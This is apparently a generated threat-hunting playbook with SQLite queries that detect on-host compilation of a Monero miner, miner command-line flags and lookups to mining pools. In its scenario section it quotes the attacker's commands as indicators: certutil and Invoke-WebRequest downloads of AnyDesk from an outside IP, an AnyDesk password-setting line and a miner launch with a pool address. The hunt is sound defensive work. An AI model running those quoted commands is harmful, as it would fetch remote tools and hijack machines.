--- analysis: A standard rule might flag gcc.exe, but this hunt pivots between the build context (user paths, specific builder strings) and the functional outcome (miner flags and pool traffic) to distinguish threats from legitimate developer work. blind_spots: - id: short-lived-compilers question: Whether extremely fast compiler executions are dropped by the agent requires: High-frequency process event logging risk: A minimalist compiler like TCC may finish its build in milliseconds, potentially failing to be logged by interval-based snapshots. stage: on-host-compilation - id: injected-process-args question: Whether the miner arguments are visible if the code is injected requires: hb_process_activity with reliable command-line auditing risk: If the adversary injects the miner code into explorer.exe rather than launching it with flags, the process arguments surface will remain silent. stage: cryptomining-impact coverage: - stage: on-host-compilation status: covered steps: - compiler-activity-lead - stage: cryptomining-impact status: covered steps: - miner-execution-search - mining-dns-activity - reason: Handled in an initial access hunt focused on web server logs. stage: magicinfo-exploitation status: out_of_scope - reason: Handled in a sibling hunt on rogue RMM software. stage: anydesk-deployment status: out_of_scope - reason: 'Belongs to another part of the ''The Not So Silent Miner: Threat Actor Compiles Cryptominer on the Endpoint'' series.' stage: persistence-account-creation status: out_of_scope - reason: 'Belongs to another part of the ''The Not So Silent Miner: Threat Actor Compiles Cryptominer on the Endpoint'' series.' stage: defender-tampering status: out_of_scope guardrails: claims: no_unsupported evidence: citation_required missing_data: not_benign telemetry: untrusted hunt: applicability: campaign-specific handoff: promote-to-detection justification: Cryptominers consume significant business resources and often serve as the payload for exploited web applications. Detecting on-host compilation finds adversaries who avoid static hash-based detections by building unique binaries per target. methodology: model-assisted trigger: intel-report hypothesis: An adversary has compiled a custom Monero miner directly on an endpoint using .NET and C compilers before executing it as a system process to hijack compute resources. labels: - hunt - attack.t1059.001 - attack.t1496 - attack.t1190 - attack.t1562.001 name: On-Host Miner Compilation and Resource Hijacking parameters: compiler_binaries: default: - csc.exe - cvtres.exe - donut.exe - tcc.exe - cc1.exe - gcc.exe description: Filenames of compilers and .NET utilities used during the build phase. from: kind: article observed: '2026-09-24' ref: huntress-not-so-silent-miner type: list[string] lookback_days: default: '14' description: Days of history to examine. from: kind: manual observed: '2026-09-24' ref: standard-lookback type: number mining_pool_domains: default: - auto.c3pool.org - c3pool.org - monerohash.com description: Mining pool domains identified in the research. from: kind: article observed: '2026-09-24' ref: huntress-not-so-silent-miner type: list[domain] scope_hosts: default: [] description: Optional hostnames to focus the search; leave empty for fleet-wide. from: kind: manual observed: '2026-09-24' ref: analyst-defined type: list[host] provenance: authors: - name: Huntbase hunt generation org: huntbase.io generated: by: huntbase-hunt-generation from: https://www.huntress.com/blog/threat-actor-compiles-cryptominer gates: - dry-run - lint model: hb_google/gemini-3-flash-preview rationale: Focus on servers running public-facing Java applications or content management systems like MagicINFO. Developer workstations may generate noise in the compiler query; focus triage on unusual parent processes. references: - name: "Huntress \u2014 The Not So Silent Miner: Threat Actor Compiles Cryptominer\ \ on the Endpoint" url: https://www.huntress.com/blog/threat-actor-compiles-cryptominer related: - hunt: anydesk-deployment-rmm-abuse reason: Rogue RMM deployment is a distinct persistence and access stage handled in a sibling hunt. relation: out-of-scope-alternative scenario: stages: - name: Samsung MagicINFO Exploitation observables: - tomcat9.exe - CVE-2025-4632 - Apache Tomcat service slug: magicinfo-exploitation tactic: initial-access techniques: - T1190 - name: AnyDesk RMM Installation observables: - certutil -urlcache -split -f http://194.87.89.30:8899/anydesk.exe - Invoke-WebRequest -Uri "http://194.87.89.30:8899/anydesk.exe" - AnyDesk.exe --set-password - 194.87.89.30:8899 - C:\ProgramData\AnyDesk.exe slug: anydesk-deployment tactic: execution techniques: - T1059.001 - name: Local Account Creation observables: - oldadministrator - net user creation slug: persistence-account-creation tactic: persistence techniques: - T1059.001 - name: Defender Disablement observables: - SystemSettingsAdminFlows.exe slug: defender-tampering tactic: defense-evasion techniques: - T1562.001 - name: On-Host Miner Compilation observables: - Silent XMR Miner Builder.exe - csc.exe - cvtres.exe - donut.exe - tcc.exe - cc1.exe - gcc.exe - MinGW64 toolset slug: on-host-compilation tactic: execution techniques: - T1059.001 - name: Cryptomining Impact observables: - explorer.exe --cinit-find-x -B --algo="rx/0" - auto.c3pool.org:19999 - 0d202e16408770e8b6cceb14e1e3e72946b154bf881d27fe33d0060315b30dd1 slug: cryptomining-impact tactic: impact techniques: - T1496 summary: A threat actor exploited a known Samsung MagicINFO vulnerability (CVE-2025-4632) to gain initial access via the Apache Tomcat service. They established persistence by installing AnyDesk, creating a local administrator account, and disabling Microsoft Defender before using a builder to compile a Monero miner directly on the endpoint to avoid detection of pre-built binaries. series: index: 2 slug: the-not-so-silent-miner-threat-actor-compiles-cryptominer-on-the-endpoint title: 'The Not So Silent Miner: Threat Actor Compiles Cryptominer on the Endpoint' total: 2 severity: high targets: analyst: name: Tier-2 analyst role: analyst endpoint: category: endpoint name: Endpoint telemetry (hb_ surfaces) telemetry: - endpoint hunter: agent: true name: Hunt agent tlp: clear type: investigation --- # On-Host Miner Compilation and Resource Hijacking This hunt identifies the high-entropy behavior of on-host compilation followed by resource hijacking. It looks for the use of SilentXMRMiner builders and associated compilers (csc.exe, tcc.exe, gcc.exe) in user-writable directories. The flow then correlates these build activities with subsequent process execution containing specific mining flags and rare DNS lookups to known mining pools like C3Pool. ## compiler-activity-lead Identify compilers being run from user-writable directories or associated with the Silent XMR builder project. ```sqlite target=endpoint role=triage params=(scope_hosts=scope_hosts, compiler_binaries=compiler_binaries, lookback_days=lookback_days) ~~~yaml expected: Multiple rows showing C compilers or .NET utilities running in a user Documents or ProgramData folder. Silence suggests no conspicuous on-host compilation occurred. reads: - device_hostname - process_name - process_path - process_cmd_line - parent_process_name - user_name - time silence: not_evidence_of_absence source: hb_process_activity verified: dry-run verified_at: '2026-09-25' ~~~ SELECT device_hostname, process_name, process_path, process_cmd_line, parent_process_name, user_name, time FROM hb_process_activity WHERE ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND (instr(',' || '{{compiler_binaries}}' || ',', ',' || LOWER(process_name) || ',') > 0 OR LOWER(process_cmd_line) LIKE '%silent xmr%') AND (LOWER(process_path) LIKE '%\\users\\%' OR LOWER(parent_process_name) LIKE '%silent xmr%') AND time >= datetime('now', '-{{lookback_days}} days') ``` ## parallel-corroboration parallel: - → miner-execution-search - → mining-dns-activity join: → agent-triage ## miner-execution-search Detect the actual cryptominer process by searching for specific Monero mining flags used in the report. ```sqlite target=endpoint role=detection-candidate params=(lookback_days=lookback_days) ~~~yaml expected: A process like explorer.exe running with explicit mining arguments. This is a high-confidence signal for resource hijacking. reads: - device_hostname - process_name - process_path - process_cmd_line - user_name - time silence: evidence_of_absence source: hb_process_activity verified: dry-run verified_at: '2026-09-25' ~~~ SELECT device_hostname, process_name, process_path, process_cmd_line, user_name, time FROM hb_process_activity WHERE (LOWER(process_cmd_line) LIKE '%--cinit-find-x%' OR LOWER(process_cmd_line) LIKE '%--algo=%rx/0%' OR LOWER(process_cmd_line) LIKE '%--cpu-max-threads-hint%') AND time >= datetime('now', '-{{lookback_days}} days') ``` ## mining-dns-activity Stack-count connections to known mining pools to isolate the beachhead host. ```sqlite target=endpoint role=baseline params=(mining_pool_domains=mining_pool_domains, lookback_days=lookback_days) ~~~yaml baseline: compare: first_seen window: '{{lookback_days}}d' expected: A host resolving a mining pool that few others in the fleet use. prevalence: by: device_hostname key: - query_hostname rare_below: 5 reads: - query_hostname - device_hostname - time silence: not_evidence_of_absence source: hb_dns_activity verified: dry-run verified_at: '2026-09-25' ~~~ SELECT query_hostname, COUNT(DISTINCT device_hostname) AS host_count, MIN(time) AS first_seen FROM hb_dns_activity WHERE (instr(',' || '{{mining_pool_domains}}' || ',', ',' || LOWER(query_hostname) || ',') > 0) AND time >= datetime('now', '-{{lookback_days}} days') GROUP BY query_hostname HAVING host_count <= 5 ORDER BY host_count ASC ``` ## agent-triage ```agent target=hunter cite: required context: - compiler-activity-lead - miner-execution-search - mining-dns-activity max_iterations: 5 objective: Determine if any host shows a transition from running builder tools in user folders to executing a process with mining arguments and connecting to mining pools. success_criteria: A verdict of malicious, suspicious, or benign per host, citing specific rows from each query. tools: - endpoint ``` ## verdict-decision if~: "The agent triage verdict is malicious for at least one host based on confirmed mining command lines and build behavior." (confidence: high, judge=hunter) then: → isolate-endpoint indeterminate: → analyst-review unavailable: → analyst-review (blind_spot: short-lived-compilers) else: → close-out ## isolate-endpoint ```action target=endpoint ~~~yaml approval: required ~~~ Isolate the host from the network. Collect the suspected miner binary and builder artifacts from the identified user folder. ``` → analyst-review ## analyst-review ```manual target=analyst Review the build artifacts and mining command lines. Check the same host for Samsung MagicINFO or Apache Tomcat processes to confirm the initial access vector. ``` → end ## close-out ```manual target=analyst If no malicious activity was found, record the negative result. If activity was confirmed, promote the miner-execution-search query to a standing detection rule. ``` → end